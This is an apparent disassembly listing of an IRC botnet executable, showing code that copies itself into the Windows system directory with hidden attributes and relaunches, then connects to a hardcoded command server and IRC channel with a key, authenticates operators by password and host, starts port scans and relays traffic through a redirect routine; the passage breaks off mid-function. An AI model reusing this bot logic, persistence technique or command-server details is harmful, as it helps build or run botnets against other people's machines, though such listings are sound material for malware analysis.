		call	sub_411120
		add	esp, 20h


loc_40CD6A:				; CODE XREF: sub_4078FA+544Bj
		cmp	[ebp+var_44B], 0
		jnz	short loc_40CD8F
		cmp	[ebp+var_44A], 0
		jnz	short loc_40CD8F
		cmp	[ebp+var_43A], 0
		jnz	short loc_40CD8F
		push	offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan,	no IP spe"...
		jmp	loc_40C8B2
; ---------------------------------------------------------------------------


loc_40CD8F:				; CODE XREF: sub_4078FA+5477j
					; sub_4078FA+5480j ...
		push	10h
		pop	esi
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_A8], esi
		call	dword_433418	; getsockname
		mov	al, [ebp+var_44B]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_C4], eax
		push	[ebp+var_C4]
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		cmp	[ebp+var_43A], 0
		jz	short loc_40CE44
		xor	eax, eax
		cmp	[ebp+var_44B], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C10
		and	byte ptr [ebp+arg_0+3],	0
		cmp	esi, edi
		pop	ecx
		pop	ecx
		jle	short loc_40CE38


loc_40CE16:				; CODE XREF: sub_4078FA+553Cj
		cmp	eax, edi
		jz	short loc_40CE38
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_67C]
		push	30h
		push	eax
		call	sub_412C10
		inc	byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_0+3]
		cmp	ecx, esi
		jl	short loc_40CE16


loc_40CE38:				; CODE XREF: sub_4078FA+551Aj
					; sub_4078FA+551Ej
		mov	[ebp+var_4B8], 1
		jmp	short loc_40CE4A
; ---------------------------------------------------------------------------


loc_40CE44:				; CODE XREF: sub_4078FA+54F3j
		mov	[ebp+var_4B8], edi


loc_40CE4A:				; CODE XREF: sub_4078FA+5415j
					; sub_4078FA+5548j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_4E8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4C0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4BC], eax
		mov	esi, 80h
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		call	sub_412E0D
		mov	ebx, [ebp+ebx+var_8C]
		add	esp, 0Ch
		cmp	ebx, edi
		jz	short loc_40CE9E
		push	ebx


loc_40CE8C:				; CODE XREF: sub_4078FA+55B4j
		push	esi


loc_40CE8D:				; CODE XREF: sub_4078FA+55D1j
		lea	eax, [ebp+var_568]
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40CED4
; ---------------------------------------------------------------------------


loc_40CE9E:				; CODE XREF: sub_4078FA+558Fj
		mov	eax, [ebp+var_AC]
		cmp	eax, edi
		jz	short loc_40CEB0
		cmp	byte ptr [eax],	23h
		jnz	short loc_40CEB0
		push	eax
		jmp	short loc_40CE8C
; ---------------------------------------------------------------------------


loc_40CEB0:				; CODE XREF: sub_4078FA+55ACj
					; sub_4078FA+55B1j
		xor	ecx, ecx
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 41FA76h
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40CECD
		push	eax
		push	80h
		jmp	short loc_40CE8D
; ---------------------------------------------------------------------------


loc_40CECD:				; CODE XREF: sub_4078FA+55C9j
		and	[ebp+var_568], 0


loc_40CED4:				; CODE XREF: sub_4078FA+55A2j
		xor	esi, esi
		cmp	[ebp+var_4B8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40CEE8
		mov	eax, offset aSequential	; "Sequential"


loc_40CEE8:				; CODE XREF: sub_4078FA+55E7j
		push	[ebp+var_4CC]
		lea	ecx, [ebp+var_67C]
		push	[ebp+var_4DC]
		push	[ebp+var_4E0]
		push	[ebp+var_4E4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	9
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_67C]
		push	eax
		push	offset sub_4018D1
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40CF88
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...


loc_40CF6C:				; CODE XREF: sub_4078FA+50D7j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40CA03
; ---------------------------------------------------------------------------


loc_40CF80:				; CODE XREF: sub_4078FA+5694j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40CF88:				; CODE XREF: sub_4078FA+5664j
		cmp	[ebp+var_4B4], esi
		jz	short loc_40CF80
		jmp	loc_40CA03
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_4078FA+D27j
					; sub_4078FA+D3Bj
		push	[ebp+ebx+var_A0]
		xor	eax, eax
		cmp	[ebp+var_43C], al
		setnz	al
		push	eax
		push	dword_42AE64
		lea	eax, [ebp+var_3AC]
		push	eax
		call	sub_40E7B0
		lea	eax, [ebp+var_3AC]
		push	eax
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_3AC]
		push	eax
		push	offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
		call	sub_401CA7


loc_40CFDF:				; CODE XREF: sub_4078FA+4DC5j
		add	esp, 24h


loc_40CFE2:				; CODE XREF: sub_4078FA+73Bj
					; sub_4078FA+747j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40CFEA:				; CODE XREF: sub_4078FA+7C8j
					; sub_4078FA+7DCj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		mov	[ebp+var_8], ebx
		jz	loc_407B7B
		cmp	[ebp+var_20], 0
		jnz	loc_407B7B
		push	offset asc_4264C0 ; "!"
		push	[ebp+var_A4]
		call	sub_413859
		mov	esi, eax
		push	offset dword_424824
		push	0
		inc	esi
		call	sub_413859
		push	offset asc_424820 ; "~"
		push	eax
		call	sub_413859
		mov	edi, [ebp+var_8]
		mov	ebx, eax
		add	esp, 18h
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40D03D:				; CODE XREF: sub_4078FA+575Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_40D05F
		test	cl, cl
		jz	short loc_40D05B
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_40D05F
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40D03D


loc_40D05B:				; CODE XREF: sub_4078FA+574Dj
		xor	eax, eax
		jmp	short loc_40D064
; ---------------------------------------------------------------------------


loc_40D05F:				; CODE XREF: sub_4078FA+5749j
					; sub_4078FA+5757j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40D064:				; CODE XREF: sub_4078FA+5763j
		test	eax, eax
		jz	short loc_40D0B3
		push	ebx
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_404592
		push	ebx
		push	esi
		push	offset aMainFailedPass ; "[MAIN]: *Failed pass auth by:	(%s!%s)."


loc_40D09F:				; CODE XREF: sub_4078FA+580Cj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 30h
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_40D0B3:				; CODE XREF: sub_4078FA+576Cj
		xor	edi, edi


loc_40D0B5:				; CODE XREF: sub_4078FA+57D3j
		push	ebx
		push	off_42AF3C[edi]
		call	sub_4115E8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D108
		add	edi, 4
		cmp	edi, 4
		jb	short loc_40D0B5
		push	ebx
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_404592
		push	ebx
		push	esi
		push	offset aMainFailedHost ; "[MAIN]: *Failed host auth by:	(%s!%s)."
		jmp	short loc_40D09F
; ---------------------------------------------------------------------------


loc_40D108:				; CODE XREF: sub_4078FA+57CBj
		mov	edx, [ebp+arg_18]
		xor	eax, eax


loc_40D10D:				; CODE XREF: sub_4078FA+5855j
		cmp	byte ptr [edx],	0
		jnz	short loc_40D145
		mov	edi, [ebp+var_8]
		mov	esi, offset aN3m3s1s ; "n3m3s1s"


loc_40D11A:				; CODE XREF: sub_4078FA+583Cj
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [edi]
		jnz	short loc_40D13C
		test	cl, cl
		jz	short loc_40D138
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [edi+1]
		jnz	short loc_40D13C
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40D11A


loc_40D138:				; CODE XREF: sub_4078FA+582Aj
		xor	ecx, ecx
		jmp	short loc_40D141
; ---------------------------------------------------------------------------


loc_40D13C:				; CODE XREF: sub_4078FA+5826j
					; sub_4078FA+5834j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_40D141:				; CODE XREF: sub_4078FA+5840j
		test	ecx, ecx
		jz	short loc_40D156


loc_40D145:				; CODE XREF: sub_4078FA+5816j
		inc	eax
		add	edx, 80h
		cmp	eax, 2
		jl	short loc_40D10D
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40D156:				; CODE XREF: sub_4078FA+5849j
		shl	eax, 7
		add	eax, [ebp+arg_18]
		push	7Fh
		lea	ecx, [ebp+var_C04]
		push	ecx
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40D18F
		push	0
		push	[ebp+var_4]
		push	offset aMainPasswordAc ; "[MAIN]: Password accepted."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40D18F:				; CODE XREF: sub_4078FA+5878j
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aMainUserSLog_1 ; "[MAIN]: User:	%s logged in."


loc_40D19B:				; CODE XREF: sub_4078FA+6F8j
					; sub_4078FA+45F8j ...
		call	sub_401CA7
		pop	ecx


loc_40D1A1:				; CODE XREF: sub_4078FA+32FCj
		pop	ecx
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40D1A7:				; CODE XREF: sub_4078FA+1FDj
					; sub_4078FA+210j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aIx	; "+ix"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		xor	eax, eax
		add	esp, 2Ch
		inc	eax
		mov	dword_479BB8, eax
		jmp	loc_407B7E
sub_4078FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1EF	proc near		; CODE XREF: .text:00414AA6p

var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= byte ptr -0E8h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_402795
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_41F004
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_479BB0, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		call	sub_40468E
		push	2
		call	dword_433478	; SetErrorMode
		push	7530h
		push	offset aBot018	; "Bot018"
		push	ebx
		push	ebx
		call	ds:dword_41F0DC	; CreateMutexA
		push	eax
		call	ds:dword_41F0D8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40D26E
		push	1
		jmp	loc_40D4CE
; ---------------------------------------------------------------------------


loc_40D26E:				; CODE XREF: sub_40D1EF+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_4334B0	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40D73B
		cmp	[ebp+var_888], 2
		jnz	loc_40D735
		cmp	[ebp+var_887], 2
		jnz	loc_40D735
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		call	ds:dword_41F040	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_2F0]
		push	eax
		push	ebx
		call	ds:dword_41F078	; GetModuleHandleA
		push	eax
		call	ds:dword_41F010	; GetModuleFileNameA
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_4141AD
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413920
		add	esp, 30h
		test	eax, eax
		jnz	loc_40D4D4
		cmp	dword_42AE54, ebx
		mov	esi, offset byte_42AED0
		jz	short loc_40D376
		mov	eax, esi
		xor	edi, edi
		lea	ecx, [eax+1]


loc_40D33C:				; CODE XREF: sub_40D1EF+152j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_40D33C
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		test	eax, eax
		jbe	short loc_40D376


loc_40D34C:				; CODE XREF: sub_40D1EF+185j
		call	sub_412D71
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		mov	eax, esi
		lea	ecx, [eax+1]
		add	dl, 61h
		mov	byte_42AED0[edi], dl
		inc	edi


loc_40D366:				; CODE XREF: sub_40D1EF+17Cj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_40D366
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		cmp	edi, eax
		jb	short loc_40D34C


loc_40D376:				; CODE XREF: sub_40D1EF+144j
					; sub_40D1EF+15Bj
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_5	; "%s\\%s"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F06C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D3B6
		push	80h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F0A0	; SetFileAttributesA


loc_40D3B6:				; CODE XREF: sub_40D1EF+1B3j
		mov	esi, ds:dword_41F000
		push	7D0h
		call	esi	; Sleep
		mov	edi, ds:dword_41F0D4
		mov	[ebp+var_4], ebx
		jmp	short loc_40D3F1
; ---------------------------------------------------------------------------


loc_40D3CE:				; CODE XREF: sub_40D1EF+215j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		cmp	[ebp+var_4], ebx
		jnz	short loc_40D406
		cmp	eax, 20h
		jz	short loc_40D3E3
		cmp	eax, 5
		jnz	short loc_40D406


loc_40D3E3:				; CODE XREF: sub_40D1EF+1EDj
		push	3A98h
		mov	[ebp+var_4], 1
		call	esi	; Sleep


loc_40D3F1:				; CODE XREF: sub_40D1EF+1DDj
		push	ebx
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	edi	; CopyFileA
		test	eax, eax
		jz	short loc_40D3CE


loc_40D406:				; CODE XREF: sub_40D1EF+1E8j
					; sub_40D1EF+1F2j
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_40584F
		pop	ecx
		push	7
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F0A0	; SetFileAttributesA
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		xor	edi, edi
		inc	edi
		mov	[ebp+var_5C], 41FA76h
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], edi
		mov	[ebp+var_38], bx
		call	ds:dword_41F0D0	; GetCurrentProcessId
		push	eax
		push	edi
		push	100000h
		call	ds:dword_41F0C4	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_412BB5
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_98C]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F030	; CreateProcessA
		test	eax, eax
		jz	short loc_40D4DA
		push	0C8h
		call	esi	; Sleep
		push	[ebp+var_24]
		mov	esi, ds:dword_41F034
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_4335B8	; WSACleanup
		push	ebx


loc_40D4CE:				; CODE XREF: sub_40D1EF+7Aj
		call	ds:dword_41F02C	; ExitProcess


loc_40D4D4:				; CODE XREF: sub_40D1EF+133j
		mov	esi, ds:dword_41F000


loc_40D4DA:				; CODE XREF: sub_40D1EF+2BFj
		cmp	dword_479E70, 2
		jle	short loc_40D522
		mov	eax, dword_479E74
		push	dword ptr [eax+4]
		call	sub_412F42
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	ds:dword_41F0D8	; WaitForSingleObject
		push	edi
		call	ds:dword_41F034	; CloseHandle
		mov	eax, dword_479E74
		cmp	[eax+8], ebx
		jz	short loc_40D522
		push	7D0h
		call	esi	; Sleep
		mov	eax, dword_479E74
		push	dword ptr [eax+8]
		call	ds:dword_41F0B8	; DeleteFileA


loc_40D522:				; CODE XREF: sub_40D1EF+2F2j
					; sub_40D1EF+31Cj
		cmp	dword_42AE58, ebx
		jz	short loc_40D53F
		cmp	dword_433600, ebx
		jnz	short loc_40D53F
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_401E73
		pop	ecx


loc_40D53F:				; CODE XREF: sub_40D1EF+339j
					; sub_40D1EF+341j
		lea	eax, [ebp+var_E8]
		push	offset aMainBotStarted ; "[MAIN]: Bot started."
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_E8]
		push	ebx
		push	eax
		call	sub_410EEA
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401C33
		xor	eax, eax
		mov	ecx, 2E0h
		mov	edi, offset dword_479030
		rep stosd
		lea	eax, [ebp+var_E8]
		push	offset aSecureSystemSe ; "[SECURE]: System secure monitor active."...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_E8]
		push	1Ah
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_40F005
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_43434C[edi], eax
		jnz	short loc_40D5DB
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_E8]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40D5DB:				; CODE XREF: sub_40D1EF+3CFj
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401C33
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	offset dword_478ECC
		mov	dword_479BBC, ebx
		call	sub_412C40
		mov	eax, dword_42AE38
		push	3Fh
		push	offset aHell	; "#hell"
		mov	esi, offset dword_478F4C
		push	esi
		mov	dword_47901C, eax
		call	sub_412C40
		push	3Fh
		push	offset aTroopers ; "troopers"
		mov	edi, offset dword_478F8C
		push	edi
		call	sub_412C40
		add	esp, 28h
		mov	dword_479020, ebx


loc_40D635:				; CODE XREF: sub_40D1EF+4ECj
					; sub_40D1EF+4F7j ...
		mov	[ebp+var_4], ebx


loc_40D638:				; CODE XREF: sub_40D1EF+4A0j
		cmp	dword_433618, ebx
		jnz	short loc_40D656
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_433428	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40D656
		push	7530h
		jmp	short loc_40D682
; ---------------------------------------------------------------------------


loc_40D656:				; CODE XREF: sub_40D1EF+44Fj
					; sub_40D1EF+45Ej
		push	offset dword_478EC8
		mov	dword_479BB8, ebx
		call	sub_40779B
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40D730
		cmp	dword_479BB8, ebx
		jz	short loc_40D67D
		dec	[ebp+var_4]


loc_40D67D:				; CODE XREF: sub_40D1EF+489j
		push	0BB8h


loc_40D682:				; CODE XREF: sub_40D1EF+465j
		call	ds:dword_41F000	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jl	short loc_40D638
		cmp	[ebp+var_8], 2
		jz	loc_40D730
		cmp	[ebp+var_C], ebx
		jz	short loc_40D6E0
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	offset dword_478ECC
		call	sub_412C40
		mov	eax, dword_42AE38
		push	3Fh
		push	offset aHell	; "#hell"
		push	esi
		mov	dword_47901C, eax
		call	sub_412C40
		push	3Fh
		push	offset aTroopers ; "troopers"
		push	edi
		call	sub_412C40
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40D635
; ---------------------------------------------------------------------------


loc_40D6E0:				; CODE XREF: sub_40D1EF+4AFj
		cmp	byte_42AEAC, bl
		jz	loc_40D635
		push	7Fh
		push	offset byte_42AEAC
		push	offset dword_478ECC
		call	sub_412C40
		mov	eax, dword_42AE3C
		push	3Fh
		push	offset dword_42AEBC
		push	esi
		mov	dword_47901C, eax
		call	sub_412C40
		push	3Fh
		push	offset aTroopers_0 ; "troopers"
		push	edi
		call	sub_412C40
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40D635
; ---------------------------------------------------------------------------


loc_40D730:				; CODE XREF: sub_40D1EF+47Dj
					; sub_40D1EF+4A6j
		call	sub_41105B


loc_40D735:				; CODE XREF: sub_40D1EF+A3j
					; sub_40D1EF+B0j
		call	dword_4335B8	; WSACleanup


loc_40D73B:				; CODE XREF: sub_40D1EF+96j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40D1EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D744	proc near		; DATA XREF: sub_40D7DF+12Co

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	ebx, 1000h
		jmp	short loc_40D799
; ---------------------------------------------------------------------------


loc_40D77E:				; CODE XREF: sub_40D744+7Bj
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_434344[esi]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D7C1


loc_40D799:				; CODE XREF: sub_40D744+38j
		xor	eax, eax
		push	eax
		lea	edi, [ebp+var_1128]
		mov	ecx, 400h
		rep stosd
		push	ebx
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_434348[esi]
		call	dword_433414	; recv
		test	eax, eax
		jg	short loc_40D77E


loc_40D7C1:				; CODE XREF: sub_40D744+53j
		push	dword_434348[esi]
		call	dword_4335AC	; closesocket
		push	[ebp+var_14]
		call	sub_4111AE
		pop	ecx
		push	0
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40D744	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D7DF	proc near		; DATA XREF: sub_40D9BC+118o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_144]
		rep movsd
		mov	esi, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], esi
		call	dword_4334A0	; socket
		xor	ebx, ebx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40D93E
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_18], 2
		call	dword_4335EC	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_433514	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40D867
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_433500	; gethostbyname
		jmp	short loc_40D875
; ---------------------------------------------------------------------------


loc_40D867:				; CODE XREF: sub_40D7DF+77j
		push	2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_433590	; gethostbyaddr


loc_40D875:				; CODE XREF: sub_40D7DF+86j
		cmp	eax, ebx
		jz	loc_40D93E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D93E
		push	[ebp+var_34]
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		mov	[ebp+var_20], ebx
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aRedirectClient ; "[REDIRECT]: Client connection	to IP: %s"...
		push	eax
		call	sub_412BB5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_344]
		push	11h
		push	eax
		call	sub_410EEA
		imul	esi, 234h
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	dword_43433C[eax], ecx
		add	esp, 20h
		lea	esi, dword_434344[esi]
		mov	ecx, [esi]
		mov	dword_434348[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	eax
		push	offset sub_40D744
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
